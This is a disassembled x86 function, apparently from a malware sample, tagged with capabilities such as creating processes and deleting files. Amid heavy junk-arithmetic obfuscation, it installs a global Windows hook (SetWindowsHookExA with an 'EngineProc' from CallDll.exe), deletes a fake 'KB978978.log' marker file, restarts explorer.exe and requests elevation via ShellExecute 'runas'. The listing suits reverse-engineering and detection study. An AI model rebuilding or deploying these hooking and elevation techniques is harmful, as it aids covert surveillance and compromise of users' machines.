Function at 0x40e950
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0042ab40
mov eax, dword [0x458190]
mov ecx, dword [0x456824]
mov dword [esp + 0x1068], eax
mov eax, 0x4c8f8d29
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
push esi
push edi
mov edi, eax
mov esi, dword [0x456838]
mov eax, 0x30c30c31
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x36b45a9b
imul dword [0x45681c]
sub edi, ecx
sar edx, 7
mov ecx, esi
imul ecx, ecx, 0x235
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp + 8]
add edi, ecx
mov ecx, dword [0x456830]
mov edx, ecx
imul edx, edx, 0x1aa
add edi, edx
cmp eax, 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], edi
je 0x40ea72
mov ecx, dword [0x45682c]
imul edi, edi, 0x2a0
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [0x456820]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x43491159
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x87
sub edi, ecx
mov ecx, dword [0x456834]
add edi, edx
sub edi, ecx
sub edi, 0x344
mov dword [0x456820], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x40ea53
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a301
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45682c]
imul eax, eax, 0x344
mov dword [esp + 0x10], eax
mov eax, 0x30c30c31
imul dword [0x456820]
mov eax, dword [esp + 0x10]
sar edx, 7
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x456820]
imul eax, eax, 0x257
mov edx, ecx
imul edx, edx, 0x16a
add ebx, eax
add ebx, edx
mov eax, 0xf2b9d649
imul dword [0x45681c]
add edx, dword [0x45681c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [section.bell_tab]
test eax, eax
mov dword [0x45682c], ebx
je 0x40eb58
mov esi, dword [0x456834]
imul ecx, ecx, 0x257
mov eax, 0x9cc8e161
imul esi
add edx, esi
sar edx, 9
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x456818]
imul edx, edx, 0x344
add edi, edx
mov eax, 0x2d4279a3
imul dword [0x456820]
sar edx, 6
sub edi, ecx
add edi, edx
mov ecx, edx
mov eax, 0xf2b9d649
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
shr ecx, 0x1f
add eax, edx
add ecx, edi
sub ecx, eax
mov dword [0x456818], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042a301
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0xe1fc780f
imul ebx
add edx, ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
mov eax, dword [0x456818]
imul eax, eax, 0x1aa
mov edx, edi
imul edx, edx, 0x358
add edx, eax
mov eax, dword [0x456828]
imul eax, eax, 0x87
add edx, eax
sub edx, dword [esp + 0x10]
lea ecx, [edx + ecx - 0x344]
mov dword [0x456824], ecx
mov eax, 0xbcb6eea7
imul ebx, ebx, 0x344
imul dword [0x45681c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x456828]
sub ecx, ebx
imul eax, eax, 0x16a
mov ebx, dword [0x456824]
mov edx, ebx
imul edx, edx, 0x4e
add ecx, eax
mov eax, dword [ebp + 0x10]
sub ecx, edx
test eax, eax
mov dword [0x456830], ecx
jg 0x40ecec
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40ecec
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ec00
sub eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
je 0x40ecec
mov eax, 0x4c8f8d29
imul ecx, ecx, 0x1aa
imul esi
imul esi, esi, 0x235
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0xe1fc780f
imul dword [0x45681c]
add edx, dword [0x45681c]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
add eax, ecx
mov ecx, dword [ebp + 0x14]
sub eax, edi
push ecx
add eax, 0x1e7
push 0
mov dword [0x45681c], eax
call fcn.0040c110
mov edi, eax
add esp, 8
test edi, edi
jle 0x40f57e
mov ecx, dword [0x456828]
mov eax, 0x4c8f8d29
imul ecx
sar edx, 8
mov esi, ecx
imul esi, esi, 0x358
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub esi, eax
mov eax, 0x30c30c31
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x36b45a9b
imul ecx
mov ebx, dword [0x456824]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x244
sub esi, ecx
mov ecx, dword [0x456830]
add esi, edx
mov dword [0x456834], esi
mov esi, dword [0x456838]
jmp 0x40ed25
mov eax, dword [0x456834]
mov esi, dword [0x456820]
imul eax, eax, 0x344
imul esi, esi, 0xfffffe52
sub esi, eax
mov eax, 0x2d4279a3
imul edi
mov edi, dword [ebp + 0x10]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [esp + 0x10]
mov dword [0x456838], esi
mov eax, 0x4c8f8d29
imul esi, esi, 0x235
imul ecx, ecx, 0x1aa
imul ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x30c30c31
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x36b45a9b
imul dword [0x45681c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
add edx, esi
add edx, ecx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x456834]
mov eax, 0x9cc8e161
imul ecx
mov eax, dword [0x456830]
add edx, ecx
imul eax, eax, 0x257
sar edx, 9
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x456818]
imul edx, edx, 0x344
add esi, edx
mov edx, dword [0x456820]
sub esi, eax
mov eax, 0x2d4279a3
imul edx
sar edx, 6
mov ebx, edx
add esi, edx
mov eax, 0xf2b9d649
imul ecx
mov eax, dword [ebp + 0xc]
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x56a32c]
push edi
shr ebx, 0x1f
push edx
add ebx, esi
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
sub ebx, ecx
push eax
mov dword [0x456818], ebx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.bell_tab], eax
je 0x40f5f8
mov eax, 0x30c30c31
imul dword [0x45682c]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [str._r_____r____]
mov esi, ecx
imul esi, esi, 0x2a0
mov edi, dword [0x456818]
sub esi, edx
mov edx, dword [0x456820]
mov eax, 0x43491159
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x87
sub esi, eax
add esi, edx
sub esi, dword [0x456834]
sub esi, 0x344
mov dword [0x56a330], 1
xor ebx, ebx
jmp 0x40eea0
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456820]
mov edi, dword [0x456818]
jmp 0x40eea0
mov eax, 0x30c30c31
imul ecx, ecx, 0x2a0
imul edi, edi, 0x87
imul dword [0x45682c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x43491159
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
sub ecx, dword [0x456834]
sub ecx, 0x344
push str.c:windowsKB978978.log
mov dword [0x456820], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40ef0f
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x12c
jl 0x40ee85
mov ecx, dword [0x456838]
mov eax, 0xb37072d7
imul dword [0x456824]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x344
mov eax, 0xe7fc601
imul ecx
sar edx, 5
sub edi, esi
mov esi, dword [0x45681c]
add edi, edx
mov eax, edx
mov edx, esi
imul edx, edx, 0x244
shr eax, 0x1f
add eax, edi
add eax, edx
mov edi, eax
mov eax, 0x99d722db
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
cmp ebx, 0x12c
mov dword [0x456828], edi
jl 0x40f667
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40f667
mov ecx, dword [0x456820]
mov edi, dword [0x45682c]
mov eax, 0x30c30c31
imul edi, edi, 0x344
imul ecx
imul ecx, ecx, 0x257
sar edx, 7
mov ebx, edx
add edi, edx
shr ebx, 0x1f
mov eax, 0xf2b9d649
imul esi
add ebx, edi
add ebx, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x16a
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, ecx
add eax, edx
push 0x800
lea ecx, [esp + 0x74]
sub ebx, eax
push ecx
mov dword [0x45682c], ebx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45681c]
mov esi, dword [0x45682c]
mov eax, 0xbcb6eea7
imul esi, esi, 0x344
imul ecx
mov ecx, dword [0x456828]
sar edx, 7
imul ecx, ecx, 0x16a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456824]
imul edx, edx, 0x4e
sub eax, esi
add eax, ecx
sub eax, edx
mov dword [0x456830], eax
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
call fcn.0042a4d1
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.0042a86d
add esp, 0x14
cmp eax, 0xffffffff
je 0x40f4e3
mov ecx, dword [0x456828]
mov eax, 0x4c8f8d29
imul ecx
sar edx, 8
mov esi, ecx
mov eax, edx
imul esi, esi, 0x358
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub esi, eax
mov eax, 0x30c30c31
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x36b45a9b
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x244
sub esi, ecx
add esi, edx
push str.explorer.exe
mov dword [0x456834], esi
call fcn.004053a0
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0xe1fc780f
imul esi, esi, 0x344
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0x1ae
mov ecx, eax
sub ecx, esi
sub ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x2d4279a3
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x456838], ecx
mov dword [esp + 0x10], 5
jmp 0x40f150
mov ecx, dword [0x456838]
jmp 0x40f150
mov esi, dword [0x456824]
imul ecx, ecx, 0x235
mov eax, 0x4c8f8d29
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x30c30c31
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
sub edi, eax
mov eax, 0x36b45a9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x1aa
add edi, ecx
push str.explorer.exe
mov dword [str._r_____r____], edi
call fcn.00404eb0
add esp, 4
test eax, eax
jg 0x40f46e
mov ebx, dword [0x456834]
mov eax, 0x9cc8e161
imul ebx
mov eax, dword [0x456830]
add edx, ebx
imul eax, eax, 0x257
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x344
add ecx, edx
sub ecx, eax
mov eax, 0x2d4279a3
imul dword [0x456820]
sar edx, 6
add ecx, edx
mov esi, edx
mov eax, 0xf2b9d649
imul ebx
add edx, ebx
sar edx, 7
xor eax, eax
shr esi, 0x1f
add esi, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456838]
mov eax, 0x4c8f8d29
imul ecx
imul ecx, ecx, 0x235
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0xe1fc780f
imul edx
add edx, dword [0x45681c]
sar edx, 9
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
sub eax, ecx
mov edx, dword [0x45682c]
mov edi, eax
mov eax, dword [0x456830]
imul eax, eax, 0x1aa
mov ecx, dword [str._r_____r____]
add edi, eax
mov eax, 0x30c30c31
imul edx
sub edi, ecx
imul ecx, ecx, 0x2a0
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x43491159
imul dword [0x456820]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, 0x1e7
add eax, edx
mov dword [0x456818], esi
mov dword [esp + 0x18], 0x44
mov dword [0x45681c], edi
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sub ecx, eax
imul esi, esi, 0x87
add ecx, esi
sub ecx, ebx
sub ecx, 0x344
mov dword [0x456820], ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f387
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov eax, 0xe1fc780f
imul esi, esi, 0x358
imul ecx
mov ebx, dword [0x456830]
add edx, ecx
mov ecx, dword [0x456828]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1aa
sub esi, eax
mov eax, ecx
imul eax, eax, 0x87
add edx, ebx
add edx, esi
lea edx, [eax + edx - 0x344]
mov dword [0x456824], edx
jmp 0x40f474
mov edx, dword [0x456824]
mov ecx, dword [0x456838]
mov eax, 0xb37072d7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x344
mov eax, 0xe7fc601
imul ecx
sar edx, 5
sub edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45681c]
imul edx, edx, 0x244
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x99d722db
imul ecx
add edx, ecx
sar edx, 8
push 1
mov eax, edx
lea ecx, [esp + 0x74]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
sub esi, eax
push 0
mov dword [0x456828], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [0x45682c]
imul esi, esi, 0x344
cmp eax, 0x20
jg 0x40f540
mov ecx, dword [0x456820]
mov eax, 0x30c30c31
imul ecx
imul ecx, ecx, 0x257
mov eax, dword [0x456830]
sar edx, 7
imul eax, eax, 0x16a
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45681c]
add edi, eax
mov eax, 0xf2b9d649
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov dword [0x45682c], edi
mov ecx, dword [0x456828]
mov eax, 0x4c8f8d29
imul ecx
mov esi, ecx
sar edx, 8
imul esi, esi, 0x358
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub esi, eax
mov eax, 0x30c30c31
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x36b45a9b
imul ecx
mov eax, dword [0x456818]
sar edx, 7
imul eax, eax, 0x244
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
add esi, eax
push 0x3e8
mov dword [0x456834], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40f13f
mov ebx, dword [0x45682c]
mov esi, dword [0x456820]
mov eax, 0xe1fc780f
imul esi, esi, 0xfffffe52
imul ebx
mov edi, dword [str._r_____r____]
add edx, ebx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456834]
imul edx, edx, 0x344
sub esi, edx
mov eax, 0x2d4279a3
imul edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov dword [esp + 0x10], ecx
mov dword [0x456838], esi
jmp 0x40eba2
mov ecx, dword [0x45681c]
mov eax, 0xbcb6eea7
imul ecx
mov ecx, dword [0x456828]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x16a
sub eax, esi
add eax, edx
mov edx, dword [0x456824]
imul edx, edx, 0x4e
sub eax, edx
mov dword [0x456830], eax
jmp 0x40f474
mov edx, dword [0x456824]
mov ecx, dword [0x456838]
mov eax, 0xb37072d7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x344
mov eax, 0xe7fc601
imul ecx
sar edx, 5
sub edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45681c]
imul edx, edx, 0x244
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x99d722db
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x456828], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a301
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x456838]
mov esi, dword [0x45681c]
mov eax, 0x4c8f8d29
imul ecx
imul ecx, ecx, 0x235
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0xe1fc780f
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x1aa
add eax, ecx
sub eax, edx
add eax, 0x1e7
mov dword [0x45681c], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a301
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [0x456824]
imul ecx, ecx, 0x235
mov eax, 0x4c8f8d29
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x30c30c31
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x36b45a9b
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x1aa
add ebx, ecx
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r____], ebx
mov eax, 1
call fcn.0042a301
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret